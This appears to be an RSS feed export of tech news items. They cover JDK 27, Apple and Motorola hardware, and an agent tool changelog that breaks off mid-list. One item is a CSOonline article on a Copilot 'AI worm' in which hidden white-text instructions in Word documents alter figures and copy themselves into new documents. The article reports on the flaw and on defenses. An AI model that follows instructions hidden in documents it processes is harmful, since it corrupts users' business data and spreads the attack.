<item>
<title><![CDATA[JDK 27: The new features of Java 27]]></title>
<description><![CDATA[Java Development Kit 27, an Oracle-driven, planned update to standard Java, is set to reach its initial release candidate (RC) stage on August 6. This update has features ranging from making the Garbage-First (G1) garbage collector the default collector and adding structured concurrency to simpli...]]></description>
<link>https://tsecurity.de/de/3699910/ai-nachrichten/jdk-27-the-new-features-of-java-27/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699910/ai-nachrichten/jdk-27-the-new-features-of-java-27/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:50 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://openjdk.org/projects/jdk/27/">Java Development Kit 27</a>, an Oracle-driven, planned update to standard Java, is set to reach its initial release candidate (RC) stage on August 6. This update has features ranging from making the Garbage-First (G1) garbage collector the default collector and adding structured concurrency to simplify concurrent programming. JDK 27 is currently in rampdown phase 2, with the feature set now frozen. </p>



<p class="wp-block-paragraph">Overall, there are nine features listed on what is described as a reference implementation of JDK 27. The first five features include making G1 the default garbage collector, post-quantum hybrid key exchange for TLS 1.3, lazy constants, structured concurrency, and primitive types in patterns, <code>instanceof</code>, and <code>switch</code>. The next four include compact object headers, JFR (JDK Flight Recorder) in-process data redaction, a vector API, and PEM (Privacy-Enhanced Mail) encodings for cryptographic objects.</p>



<p class="wp-block-paragraph">The final release candidate stage for JDK 27 follows on August 20, with general availability scheduled for September 15. Early-access builds for JDK 27 can be found at <a href="https://jdk.java.net/27/">jdk.java.net</a>.</p>



<p class="wp-block-paragraph">With JDK 27, <a href="https://openjdk.org/jeps/523">G1 becomes the default garbage collector</a> in all environments, rather than just in server environments. Goals are to ensure that the HotSpot JVM will always select G1 and that performance including throughput, latency, memory footprint, and startup time does not degrade significantly.</p>



<p class="wp-block-paragraph">With <a href="https://openjdk.org/jeps/527" data-type="link" data-id="https://openjdk.org/jeps/527">post-quantum hybrid key exchange for TLS 1.3</a>, the goal is to enhance the security of Java applications that require secure network communication by implementing hybrid key exchange algorithms. Such algorithms defend against future quantum computing attacks by combining a quantum-resistant algorithm with a traditional algorithm.</p>



<p class="wp-block-paragraph"><a href="https://openjdk.org/jeps/531">Lazy constants</a> introduces an API for objects that hold unmodifiable data. Lazy constants are treated as true constants by the JVM, enabling the same performance optimizations that are enabled by declaring a field <code>final</code>. Compared to <code>final</code> fields, however, lazy constants offer greater flexibility in the timing of their initialization. This feature is in a third preview. </p>



<p class="wp-block-paragraph">The goal of <a href="https://openjdk.org/jeps/532" data-type="link" data-id="https://openjdk.org/jeps/532">primitive types in patterns, <code>instanceof</code>, and <code>switch</code></a> is to enhance pattern matching by allowing primitive types in all pattern contexts, and to extend <code>instanceof</code><strong> </strong>and <code>switch</code> to work with all primitive types. This feature is in a fifth preview. </p>



<p class="wp-block-paragraph"><a href="https://openjdk.org/jeps/533">Structured concurrency</a> simplifies concurrent programming by introducing an API that treats groups of related tasks running in different threads as single units of work. Goals include streamlining error handling and cancellation, improving reliability, and enhancing observability. Structured concurrency is in its seventh preview. </p>



<p class="wp-block-paragraph">JDK 27 makes <a href="https://openjdk.org/jeps/534">compact object headers</a> the default object header layout in the HotSpot JVM. Compact object headers reduce object headers from 96 bits down to 64 bits on 64-bit architectures, reducing heap size, improving deployment density, and increasing data locality. </p>



<p class="wp-block-paragraph"><a href="https://openjdk.org/jeps/536">JFR data in-process redaction</a> allows users to redact command-line arguments and the initial values of environment variables and system properties in JFR recordings. JFR recording files may contain events that include sensitive data, such as secrets in command-line arguments, access tokens in environment variables, and passwords in system properties. This data is (optionally) redacted before it leaves the process, so that sensitive information does not leak.</p>



<p class="wp-block-paragraph">The <a href="https://openjdk.org/jeps/537">vector API</a> introduces an API to express vector computations that reliably compile at run time to optimal vector instructions on supported CPUs, thus achieving better performance than equivalent scalar computations. This is an incubating API in its 12th incubation.</p>



<p class="wp-block-paragraph"><a href="https://openjdk.org/jeps/538" data-type="link" data-id="https://openjdk.org/jeps/538">PEM encodings of cryptographic objects</a> introduces an API for encoding objects that represent cryptographic keys, certificates, and certificate revocation lists in the PEM transport format, and for decoding from PEM back into objects. This is a preview API. </p>



<p class="wp-block-paragraph">JDK 27 is a short-term feature release (<a href="https://www.oracle.com/java/technologies/java-se-support-roadmap.html" data-type="link" data-id="https://www.oracle.com/java/technologies/java-se-support-roadmap.html">non-LTS</a>) that will receive six months of support from Oracle. Its predecessor, <a href="https://www.infoworld.com/article/4050993/jdk-26-the-new-features-in-java-26.html">JDK 26</a>, also a short-term release, became generally available on March 17. </p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Copilot worm can spread through Microsoft Word docs]]></title>
<description><![CDATA[An “AI worm” can spread through Microsoft Word documents using Copilot as a vector, a prominent Norwegian AI researcher reported on Tuesday.



The report from Håkon Måløy, later confirmed by Microsoft, said that an attacker can conceal instructions in a document that is later used as source mate...]]></description>
<link>https://tsecurity.de/de/3699922/ai-nachrichten/copilot-worm-can-spread-through-microsoft-word-docs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699922/ai-nachrichten/copilot-worm-can-spread-through-microsoft-word-docs/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:50 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">An “AI worm” can spread through Microsoft Word documents using Copilot as a vector, a prominent Norwegian AI researcher reported on Tuesday.</p>



<p class="wp-block-paragraph"><a href="https://enklypesalt.com/posts/context-collapse-part3-ai-worming-through-word/" target="_blank" rel="noreferrer noopener">The report</a> from <a href="https://www.linkedin.com/in/h%C3%A5kon-m%C3%A5l%C3%B8y-770572276/" target="_blank" rel="noreferrer noopener">Håkon Måløy</a>, later confirmed by Microsoft, said that an attacker can conceal instructions in a document that is later used as source material for Copilot-generated or Copilot-edited Word documents, for example, as input to a financial report. Those malicious instructions could potentially alter figures in the document being created. They then copy themselves into the new document, causing it to become a carrier of the attack when used in another Copilot-assisted workflow.</p>



<p class="wp-block-paragraph">Måløy noted: “To my knowledge, this is among the first public demonstrations of document-borne AI-worm self-propagation through normal workflows in a mainstream commercial productivity suite.”</p>



<p class="wp-block-paragraph">Microsoft on Thursday emailed a statement to CSOonline discussing the report’s revelations. </p>



<p class="wp-block-paragraph">“We have addressed the findings reported by the researcher and thank them for working with us through coordinated vulnerability disclosure. To address this class of risk, we use a defense-in-depth strategy with safeguards that block malicious instructions at multiple points and help keep tasks aligned with users’ requests,” Microsoft said. </p>



<p class="wp-block-paragraph">“We are continuously strengthening these safeguards as the technology and threat landscape evolve,” it added. “We encourage customers to install the latest updates, use multiple layers of security protection, treat content from unknown sources with caution, and review AI-generated content before using or sharing it.” </p>



<h2 class="wp-block-heading">Sidesteps defenses</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/akm76/" target="_blank" rel="noreferrer noopener">Aman Mahapatra</a>, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, has reviewed the mechanisms used in this vulnerability and says that it is much worse than it might seem, because it will sidestep just about every defensive mechanism enterprises have in place today.</p>



<p class="wp-block-paragraph">“This is a worm, a self-propagating malware pattern that uses Copilot as the transmission mechanism and legitimate corporate collaboration as the delivery channel. It bypasses every traditional email security control because the document is not malicious on delivery and it becomes malicious when Copilot processes it. That means that it bypasses DLP because the exfiltration happens through the user’s own authenticated Copilot session,” Mahapatra said. “It then bypasses endpoint protection because no code executes, only instructions get followed by an AI service the enterprise has explicitly authorized.”</p>



<p class="wp-block-paragraph">He also noted that researchers have been warning about this class of attack for two years.</p>



<h2 class="wp-block-heading">Microsoft’s involvement</h2>



<p class="wp-block-paragraph">Måløy said that he has been working with the Microsoft Security Response Center (MSRC) since March 3 and <a href="https://www.csoonline.com/article/4203349/russian-hackers-turn-exchange-flaw-into-half-click-mailbox-takeover.html" target="_blank">Microsoft </a> subsequently implemented and distributed multiple small focused mitigations, but the core vulnerability has yet to be fixed.</p>



<p class="wp-block-paragraph">He said he was hesitant to disclose an active vulnerability, but felt that it was now time to publish. </p>



<p class="wp-block-paragraph">“My reasoning is that defenders cannot reduce exposure to a risk they are unaware of,” Måløy wrote, “and the propagation mechanism described here affects ordinary document workflows that many organizations already rely on.”</p>



<p class="wp-block-paragraph">In an email interview, Måløy noted that the tweaks Microsoft has implemented were helpful, nonetheless. </p>



<p class="wp-block-paragraph">“The coordinated disclosure process showed that mitigations can meaningfully reduce the demonstrated attack surface, making attacks less reliable and limiting their reach, even without completely eliminating the underlying problem,” he said. </p>



<p class="wp-block-paragraph">Måløy also addressed the resolution that many analysts and consultants suggested, which is to change the nature of LLMs to fully isolate instructions from the data they operate on. </p>



<p class="wp-block-paragraph">“Separating instructions from data may be part of the solution, but I think the distinction between data and instructions is not always clear in real-world workflows. For example, a user may ask an agent to arrange a business trip, requiring the agent to retrieve an email specifying the approved itinerary and a document containing the booking procedure,” Måløy said. </p>



<p class="wp-block-paragraph">“My view is that the broader challenge is therefore not simply to prevent systems from interpreting external content as instructions, but to evaluate whether those instructions align with the user’s goals and the context in which the system is operating,” he added.</p>



<h2 class="wp-block-heading">Problem hard to overstate</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security, said it would be difficult to overstate the potential problems from this situation. </p>



<p class="wp-block-paragraph">“This is a significant issue because it moves prompt injection from a single compromised interaction into a potentially self-propagating document integrity attack,” he said, noting that it is not a conventional worm that spreads automatically. A user or Copilot workflow must still bring an infected document into the model’s context. “But once that happens, the malicious instructions can reportedly alter business information, conceal themselves inside the resulting Word document and turn a legitimate internal file into the next carrier,” he said.</p>



<p class="wp-block-paragraph">That, he pointed out, creates “a dangerous enterprise supply chain in which financial reports, contracts, policies and partner documents may inherit malicious behavior while retaining the trust associated with their legitimate authors and Microsoft 365 accounts.”</p>



<h2 class="wp-block-heading">Not a new issue</h2>



<p class="wp-block-paragraph">The key issue behind this flaw is the fact that genAI tends to struggle with telling the difference between data that a user offers as input and the instructions the AI is to execute.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/fvillanustre/" target="_blank" rel="noreferrer noopener">Flavio Villanustre</a>, CISO for the LexisNexis Risk Solutions Group, observed that the same problem with mixed data and instructions occurred in databases decades ago, and turned into what we know as SQL injection attacks today. But, he noted, a few years later, parametrized binding for the database access layers was developed, which separates instructions, which are handled internally and safely, from data, which can come from untrusted sources. “The same needs to happen with LLMs and other AI,” he said.</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Mike Leone</a>, a VP/principal analyst at Moor Insights &amp; Strategy, agreed.</p>



<p class="wp-block-paragraph">“It’s hard not to chuckle a bit with this one. People have been asking whether data can give orders since SQL injections. We fixed that one by giving the database a way to tell an instruction from a value,” Leone said. “Thirty years later, we’ve built an entire category of software that can’t tell the difference at all.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/tomfindling/" target="_blank" rel="noreferrer noopener">Tom Findling</a>, CEO at Conifers.ai, also said he sees the data-vs-instructions issue as the biggest problem. </p>



<p class="wp-block-paragraph">“Separating data from instructions is still unsolved at the model layer. The labs are making real progress, but not enough to be your only control,” he said, and stressed, “Microsoft doesn’t need to wait for that. It can slow propagation inside Copilot: stop hidden content from being written into new documents, surface hidden text before it’s used, preserve the trust level of what Copilot read and show all AI-generated changes.”</p>



<h2 class="wp-block-heading">Fix needs industry agreement</h2>



<p class="wp-block-paragraph">However, <a href="https://my.idc.com/getdoc.jsp?containerId=PRF004767" target="_blank" rel="noreferrer noopener">Frank Dickson</a>, group VP for security at IDC, argued that a fix needs industry agreement. </p>



<p class="wp-block-paragraph">“A fundamental fix requires the industry to converge on the same architectural change, which isn’t happening anytime soon given the incentives and the fact that the major players are far from besties,” he said, pointing out that Instruction-data separation would need to be baked in at the model or platform level across every major vendor. “None of them are rewarding that work commercially right now, so treat that as a multi-year research problem, not something a CISO should wait on.”</p>



<p class="wp-block-paragraph">Leone disagreed, arguing that a single vendor can do quite a bit, at least for its own customers. </p>



<p class="wp-block-paragraph">“Microsoft has said publicly since last year that indirect prompt injection can’t be fully prevented, and I give them credit for saying it out loud rather than pretending otherwise,” Leone said, noting that the industry doesn’t have to move in lockstep. “This attack lives inside one product,” he said. “If Microsoft hardens the Copilot document path, Copilot customers get safer whether or not anyone else moves.”</p>



<p class="wp-block-paragraph">Dickson added that another critical problem with this vulnerability is that the carrier documents are created by legitimate employees using legitimate tools, “so there’s no obvious point of origin once the payload starts moving; an organization could be laundering corrupted financial figures through its own workflow for weeks before anyone notices.”</p>



<h2 class="wp-block-heading">Tactics that might help</h2>



<p class="wp-block-paragraph">That said, experts had some specific suggestions for CISOs trying to negate this problem. </p>



<p class="wp-block-paragraph">IDC’s Dickson said, “the most useful lever right now sits outside the model entirely, in how much untrusted content Copilot is allowed to pull into a session without a human choosing it.” He noted that enterprises can turn Copilot’s auto-discovery behavior off or restrict it, and require humans to explicitly select the documents they feed it. “That alone closes off one of the two ways the attack gets a foothold,” he said.</p>



<p class="wp-block-paragraph">IDC also suggested a visible diff or redline of anything Copilot changes in a financial or otherwise consequential document, and the requirement for a human to approve the changes. “That’s not a technical fix, it’s a workflow one, and it’s available today,” Dickson said.</p>



<p class="wp-block-paragraph">He said that IT should also track where content came from and what was touched by an AI system, in metadata that travels with the document. “It doesn’t stop the injection, but it means when something does get through, an organization can actually trace how far it spread instead of discovering a corrupted number three reports later with no way to reconstruct the chain,” he said.</p>



<p class="wp-block-paragraph">However, one expert, <a href="https://www.fortra.com/profile/tyler-reguly" target="_blank" rel="noreferrer noopener">Tyler Reguly</a>, Fortra’s associate director of security R&amp;D, said that he didn’t see this vulnerability having a meaningful impact because it feels like what he called a “laboratory vulnerability.”</p>



<p class="wp-block-paragraph">Normal enterprise workflows don’t encompass a number of the necessary steps for compromise, he said, pointing out that, if anything, people are trained not to download Word documents. Plus, he noted, looking at the blurred example in the report, the malicious document contained an additional apparently blank page which held the concealed prompts in white text.</p>



<p class="wp-block-paragraph">“That page is going to send up warning signs for me if someone even managed to convince me to download an external Word document,” he said. So, overall, “this feels like it requires a perfect storm.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.csoonline.com/article/4203630/microsoft-confirms-an-ai-worm-is-propagating-through-copilot-and-other-ms-apps.html" target="_blank">CSOonline</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Put the Agent Inside the Workflow]]></title>
<description><![CDATA[A hybrid LLM application pattern that combines a predefined workflow with adaptive agent behavior
The post Put the Agent Inside the Workflow appeared first on Towards Data Science.]]></description>
<link>https://tsecurity.de/de/3699706/ai-nachrichten/put-the-agent-inside-the-workflow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699706/ai-nachrichten/put-the-agent-inside-the-workflow/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:38 +0200</pubDate>
<content:encoded><![CDATA[<p>A hybrid LLM application pattern that combines a predefined workflow with adaptive agent behavior</p>
<p>The post <a href="https://towardsdatascience.com/put-the-agent-inside-the-workflow/">Put the Agent Inside the Workflow</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[MacBook Ultra’s Premium Design Will Soon Reach More Affordable Models]]></title>
<description><![CDATA[The highly anticipated MacBook Ultra has dominated recent tech discussions with its touchscreen and OLED panel. However, the fresh exterior built around these parts might be an even bigger deal. That is largely because Apple is not keeping this fresh look locked to its top-tier machine for very l...]]></description>
<link>https://tsecurity.de/de/3699009/ios-mac-os/macbook-ultras-premium-design-will-soon-reach-more-affordable-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699009/ios-mac-os/macbook-ultras-premium-design-will-soon-reach-more-affordable-models/</guid>
<pubDate>Mon, 03 Aug 2026 00:15:20 +0200</pubDate>
<content:encoded><![CDATA[The highly anticipated MacBook Ultra has dominated recent tech discussions with its touchscreen and OLED panel. However, the fresh exterior built around these parts might be an even bigger deal. That is largely because Apple is not keeping this fresh look locked to its top-tier machine for very long. Rumors suggest the company plans to pass the new chassis down to cheaper laptops shortly after launch.



Entry-level machines inherit the updated chassis within a year



According to Bloomberg, the company plans to update every Mac it sells over the next two years. The entry-level 14-inch version, expected in 2027 and codenamed K104, will reportedly share the physical design of the premium K114 and K116 models. This means the style debuting on the Ultra model will reach a much more affordable price point quickly.



By the time the top-tier models get next-generation M7 chips in late 2027, the base versions will likely already have the Ultra design. It seems inevitable that all five of the most powerful MacBook models will eventually share this same overall look. This breaks the usual pattern where premium aesthetics remain exclusive for years.



Hardware tweaks focus on a thinner profile and touch support



The upcoming redesign reverses the 2021 trend where the laptops grew thicker and heavier to accommodate more ports. The new chassis is expected to be noticeably thinner and lighter. Swapping the current backlight for an OLED screen removes an entire physical layer, helping trim down the overall size. As an additional hardware detail, recent supply chain leaks show that Samsung will be the main screen provider for these laptops.



The front of the screen will also see obvious changes. The current notch is expected to disappear, replaced by a much smaller hole-punch camera. This pill-shaped cutout opens the door for an interactive Dynamic Island similar to what you see on phones. The company is also adding a reinforced hinge so the screen stays steady when tapped, making it friendlier for touch without becoming a fully touch-first device.



Instead of treating this as just another cycle, it is clear the manufacturer wants its entire lineup to look unified. Buyers who want the latest style will not be forced to buy the most expensive model if they are willing to wait a few months. The strategy gives more people access to modern designs while keeping the premium internal hardware reserved for professionals.]]></content:encoded>
</item>
<item>
<title><![CDATA[Exclusive: Motorola Razr 70 Swarovski Edition Leaks in New Images]]></title>
<description><![CDATA[The Motorola Razr 70 Swarovski Edition has appeared in exclusive leaked images obtained by The Mac Observer, revealing a black crystal-covered design and matching premium accessories ahead of an official announcement.



Motorola Razr 70 design revealed





































The le...]]></description>
<link>https://tsecurity.de/de/3699019/ios-mac-os/exclusive-motorola-razr-70-swarovski-edition-leaks-in-new-images/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699019/ios-mac-os/exclusive-motorola-razr-70-swarovski-edition-leaks-in-new-images/</guid>
<pubDate>Mon, 03 Aug 2026 00:15:20 +0200</pubDate>
<content:encoded><![CDATA[The Motorola Razr 70 Swarovski Edition has appeared in exclusive leaked images obtained by The Mac Observer, revealing a black crystal-covered design and matching premium accessories ahead of an official announcement.



Motorola Razr 70 design revealed





































The leaked images show the foldable phone with a textured black rear panel arranged in a quilted pattern. Small crystal-like elements cover the lower half, while several more decorate the area below the external screen.



Motorola has also placed a larger decorative crystal on the hinge. The overall design appears more understated than the Ice Melt Razr 60 Swarovski Edition, which Motorola previously released as part of its Brilliant Collection.



The phone retains a large cover display surrounding two rear cameras. Other images show the Razr 70 open, closed and positioned in Flex View for hands-free use.



Charger and case shown in the box







One image reveals what buyers can expect inside the box. The package appears to include:




Motorola Razr 70 Swarovski Edition



Transparent protective case



USB-C charging cable



33W charging adapter




The phone shown in the images has a USB-C port, speaker openings and physical volume and power buttons along its sides.



Earlier certification information linked the standard Motorola Razr 70 with a 6.9-inch internal OLED display, a 3.63-inch cover screen and a battery capacity of around 4,500mAh. It could also feature two 50MP rear cameras and a 32MP selfie camera.

















Motorola has not confirmed the Swarovski Edition, its price, or its launch markets. However, the detailed product images suggest an announcement may arrive soon.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Spends A Massive $11.73 Billion On Research In Q3 2026]]></title>
<description><![CDATA[Apple is throwing serious cash into building its next generation of products. According to its latest quarterly earnings report, the technology giant poured a record $11.73 billion into research and development during the third quarter of 2026. This huge expense continues a pattern of heavy spend...]]></description>
<link>https://tsecurity.de/de/3699027/ios-mac-os/apple-spends-a-massive-1173-billion-on-research-in-q3-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699027/ios-mac-os/apple-spends-a-massive-1173-billion-on-research-in-q3-2026/</guid>
<pubDate>Mon, 03 Aug 2026 00:15:20 +0200</pubDate>
<content:encoded><![CDATA[Apple is throwing serious cash into building its next generation of products. According to its latest quarterly earnings report, the technology giant poured a record $11.73 billion into research and development during the third quarter of 2026. This huge expense continues a pattern of heavy spending that Apple has maintained throughout the current fiscal year. To put things in perspective, the brand has nearly matched its entire 2025 research budget, with one full quarter still left on the calendar.



The company pushes cash toward upcoming hardware and artificial intelligence



During the financial call discussing the massive Q3 2026 earnings, chief executive Tim Cook told investors that the company is "clearly investing more." Cook explained that spending on future projects is accelerating much faster than other parts of the business.



Much of this cash is likely going toward developing the upcoming iPhone models and next-generation computers. However, a significant portion is dedicated to artificial intelligence. Chief Financial Officer Kevan Parekh confirmed that AI investments are being layered on top of the usual spending required to map out future hardware.



The strategy of heavily funding future projects makes sense, given the company's total R&amp;D spending for fiscal 2026 already sits at $34.04 billion. That is a 32 percent jump compared to the same time last year. By aggressively funding both its hardware roadmap and new software features, the brand is positioning itself to stay ahead of the competition over the next few years.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Pledges Funds To Support Japan Earthquake Relief Efforts]]></title>
<description><![CDATA[Following a destructive magnitude 6.8 earthquake that struck the Kumamoto prefecture on Kyushu island this past Tuesday, Apple has announced clear plans to assist with the ongoing recovery. The natural disaster caused significant damage to local buildings and resulted in the tragic loss of at lea...]]></description>
<link>https://tsecurity.de/de/3699039/ios-mac-os/apple-pledges-funds-to-support-japan-earthquake-relief-efforts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699039/ios-mac-os/apple-pledges-funds-to-support-japan-earthquake-relief-efforts/</guid>
<pubDate>Mon, 03 Aug 2026 00:15:20 +0200</pubDate>
<content:encoded><![CDATA[Following a destructive magnitude 6.8 earthquake that struck the Kumamoto prefecture on Kyushu island this past Tuesday, Apple has announced clear plans to assist with the ongoing recovery. The natural disaster caused significant damage to local buildings and resulted in the tragic loss of at least 34 lives. With aftershocks continuing through the rest of the week, the technology company is stepping up to provide financial aid for the region.



The tech company donates money to aid local rescue workers



CEO Tim Cook shared a message of support online, stating that Japan holds a special place in his heart. He expressed gratitude for the first responders who are actively helping those in need. The company has a long history of contributing to the Red Cross during natural disasters, though it typically keeps specific financial figures private.




https://twitter.com/tim_cook/status/2082872614847152490




This financial support for Japan follows another recent philanthropic move by the tech giant. Just yesterday, the company pledged support for wildfire relief across France, Spain, and several other countries facing extreme weather conditions. The smartphone maker also previously collected user donations through iTunes when Kumamoto experienced a severe earthquake back in 2016.



By continuing this pattern of giving, the company shows a reliable commitment to helping communities rebuild after major environmental crises.]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub: v17.2.4]]></title>
<description><![CDATA[@oh-my-pi/pi-agent-core
Fixed

Fixed Codex V2 remote compaction bypassing the provider's live WebSocket transport before trying SSE (#7198).
Tool calls skipped mid-batch to service queued steering/peer input now distinguish calls that never entered tool.execute (SyntheticToolResultDetails, execut...]]></description>
<link>https://tsecurity.de/de/3698412/tools/github-v1724/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698412/tools/github-v1724/</guid>
<pubDate>Mon, 03 Aug 2026 00:10:19 +0200</pubDate>
<content:encoded><![CDATA[<div class="github-feed-entry"><h2>@oh-my-pi/pi-agent-core</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed Codex V2 remote compaction bypassing the provider's live WebSocket transport before trying SSE (<a href="https://github.com/can1357/oh-my-pi/issues/7198" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7198/hovercard">#7198</a>).</li>
<li>Tool calls skipped mid-batch to service queued steering/peer input now distinguish calls that never entered <code>tool.execute</code> (<code>SyntheticToolResultDetails</code>, <code>executed: false</code>) from in-flight calls that may have performed partial work (<code>execution: "started"</code>), allowing UI/telemetry consumers to render normal steering control flow without misreporting execution state (<a href="https://github.com/can1357/oh-my-pi/issues/7199" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7199/hovercard">#7199</a>).</li>
</ul>
<h2>@oh-my-pi/pi-ai</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed Codex WebSocket tool-result turns replaying full history when the preceding tool-call ID required Responses API normalization (<a href="https://github.com/can1357/oh-my-pi/issues/7279" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7279/hovercard">#7279</a>).</li>
<li>Fixed direct Anthropic provider streams ignoring <code>model.compat.streamIdleTimeoutMs</code>. Requests dispatched through <code>streamAnthropic</code> can now widen the inter-event idle watchdog or set it to <code>0</code> to disable that watchdog; caller options and environment overrides retain precedence. Setting the compat value to <code>0</code> disables only the inter-event watchdog and leaves the first-event watchdog enabled; wider idle values continue to floor the first-event budget under the existing timeout contract.</li>
<li>Fixed OpenRouter DeepSeek models failing structured subagents when the upstream returns an opaque HTTP 400 for a strict yield schema, retrying once without strict tools and remembering the fallback for the provider session (<a href="https://github.com/can1357/oh-my-pi/issues/7264" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7264/hovercard">#7264</a>).</li>
<li>Fixed provider-native Codex compaction streams bypassing WebSocket-first transport selection and SSE transport fallback (<a href="https://github.com/can1357/oh-my-pi/issues/7198" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7198/hovercard">#7198</a>).</li>
<li>Fixed <code>SqliteAuthCredentialStore.open()</code> running the <code>auth_credential_refresh_leases</code> DDL (<code>CREATE TABLE</code>/<code>CREATE INDEX</code>) with Bun's default <code>busy_timeout=0</code>, before the constructor's <code>#initializeSchema()</code> installed the busy handler. Under a concurrent write lock (e.g. WAL recovery on parallel omp startups) the lock-taking DDL failed immediately and, since the error wasn't BUSY-classified, bypassed <code>open()</code>'s bounded retry loop. The busy handler is now installed on the connection immediately after it opens, before any lock-taking statement, honoring the issue-<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4652200490" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2421" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2421/hovercard" href="https://github.com/can1357/oh-my-pi/issues/2421">#2421</a> invariant on every entry path. (<a href="https://github.com/can1357/oh-my-pi/issues/7298" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7298/hovercard">#7298</a>)</li>
<li>Fixed a corrupt credential store (<code>agent.db</code>) silently disabling every persisted rate-limit block. <code>AuthStorage</code> caught unrecoverable SQLite errors (<code>SQLITE_CORRUPT</code> family / <code>SQLITE_NOTADB</code>) from the persisted block read/write paths at <code>debug</code> level with no latch, so the broken store was re-queried on every credential evaluation while blocks quietly stopped applying. The first unrecoverable error is now reported once at <code>error</code> level with the store location and repair guidance, and every later persisted-block read/write short-circuits for the process lifetime; in-memory backoff still preserves availability (<a href="https://github.com/can1357/oh-my-pi/issues/7296" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7296/hovercard">#7296</a>).</li>
</ul>
<h2>@oh-my-pi/pi-catalog</h2>
<h3>Added</h3>
<ul>
<li>Added <code>AnthropicCompat.streamIdleTimeoutMs</code> and propagated it through <code>buildAnthropicCompat</code> so direct Anthropic provider streams can configure their inter-event idle watchdog.</li>
<li>Fixed Ollama Cloud DeepSeek V4 Pro/Flash models (including dated tag variants such as <code>deepseek-v4-flash:0731</code>) reporting an incorrect max-output-tokens figure by pinning it to the deployment's enforced 65536-token output ceiling (<a href="https://github.com/can1357/oh-my-pi/issues/7266" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7266/hovercard">#7266</a>).</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed <code>gen:models</code> Codex discovery to union models across every stored OAuth account and fail closed on partial resolution, matching runtime discovery (<a href="https://github.com/can1357/oh-my-pi/issues/6265" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6265/hovercard">#6265</a>); restored the bundled <code>gpt-5.4</code>, <code>gpt-5.6-sol</code>, and <code>gpt-5.3-codex-spark</code> entries a single-account regen had dropped.</li>
<li>Fixed <code>google-antigravity</code> models always reporting $0 cost: Antigravity discovery carries no pricing, so the generator now back-fills each model with its Google list price (Gemini ids from the <code>google</code> provider, including <code>-preview</code> id aliases; Claude ids from <code>google-vertex</code>, falling back to <code>anthropic</code>).</li>
<li>Fixed OpenRouter <code>deepseek/deepseek-v4-flash-0731</code> exposing only <code>high</code> thinking effort by consuming the live <code>reasoning.supported_efforts</code> and <code>default_effort</code> metadata and bundling its <code>low</code>/<code>high</code>/<code>max</code> ladder. (<a href="https://github.com/can1357/oh-my-pi/issues/7307" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7307/hovercard">#7307</a>)</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Added</h3>
<ul>
